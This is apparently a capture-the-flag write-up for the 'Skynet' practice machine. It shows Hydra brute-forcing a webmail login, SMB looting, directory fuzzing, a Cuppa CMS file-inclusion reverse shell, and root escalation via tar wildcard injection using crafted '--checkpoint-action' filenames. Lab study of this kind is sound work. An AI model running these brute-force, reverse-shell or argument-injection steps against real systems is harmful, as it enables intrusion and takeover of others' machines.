Skip to main content

Skynet

HYDRA

  • SquirrelMail Login-Form: [IP:80/squirrelmail]

SN

  • Using log1.txt as the Password Wordlist found during SMB Enumeration.
  • Brute-Forcing SquirrelMail Login Form: milesdyson:cyborg007haloterminator
[DATA] max 16 tasks per 1 server, overall 16 tasks, 32 login tries (l:1/p:32), ~2 tries per task
[DATA] attacking http-post-form://10.10.237.156:80/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown user or password incorrect.
[80][http-post-form] host: 10.10.237.156 login: milesdyson password: cyborg007haloterminator


SquirrelMail (Email Client)

  • We can Login using: milesdyson:cyborg007haloterminator
  • Found milesdyson SMB Password: )s{A&2Z=F^n_E.B`

SN

SN



SMBCLIENT

  • We can Login as: milesdyson:)s{A&2Z=F^n_E.B`
  • notes/important.txt contains a Hidden URL: /45kra24zxs28v3yd
smb: \> ls
. D 0 Tue Sep 17 11:05:47 2019
.. D 0 Wed Sep 18 05:51:03 2019
Improving Deep Neural Networks.pdf N 5743095 Tue Sep 17 11:05:14 2019
...
smb: \> cd notes\
smb: \notes\> ls
. D 0 Tue Sep 17 11:18:40 2019
.. D 0 Tue Sep 17 11:05:47 2019
important.txt N 117 Tue Sep 17 11:18:39 2019
...
smb: \notes\> get important.txt -
1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

WEB - FFUF

  • Browsing to /45kra24zxs28v3yd we find a Description About Miles Dyson.
                           Miles Dyson Personal Page

Dr. Miles Bennett Dyson was the original inventor of the neural-net processor
which would lead to the development of Skynet,
a computer A.I. intended to control electronically linked weapons and defend
the United States.
  • Fuzzing /45kra24zxs28v3yd we Discover an Admin Panel for Cuppa CMS.
________________________________________________

:: Method : GET
:: URL : http://10.10.237.156/45kra24zxs28v3yd/FUZZ
:: Wordlist : FUZZ: Dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

administrator [Status: 301, Size: 339, Words: 20, Lines: 10, Duration: 129ms]

  • [IP:80/45kra24zxs28v3yd/administrator]

SN


CUPPA CMS

This Version of Cuppa CMS has a Local/Remote File Inclusion Vulnerability.

  • Starting Python3 HTTP Server Hosting PHP Reverse Shell.
EXPLOITING
python3 -m http.server 8888


Privilege Escalation

  • We can catch the Reverse Shell Using netcat
www-data@skynet /$  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • Found a Script running as ROOT: backup.sh located in /home/milesdyson/backups
  • We don't have the WRITE Permissions on backup.sh but we can abuse the TAR WILDCARD: *
www-data@skynet /$  cat /etc/crontab 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
*/1 * * * * root /home/milesdyson/backups/backup.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
www-data@skynet /$  ls -l /home/milesdyson/backups/backup.sh
-rwxr-xr-x 1 root root 74 Sep 17 2019 /home/milesdyson/backups/backup.sh
www-data@skynet /$ cat /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

  • We move into /var/www/html Directory and run the Following:
www-data@skynet html$  echo "chmod +s /bin/bash" > SUID.sh
www-data@skynet html$ echo "" > "--checkpoint-action=exec=sh SUID.sh"
www-data@skynet html$ echo "" > --checkpoint=1
www-data@skynet html$
www-data@skynet html$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1037528 Jul 12 2019 /bin/bash
www-data@skynet html$  /bin/bash -p 
www-data@skynet html$ id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
www-data@skynet html$ whoami
root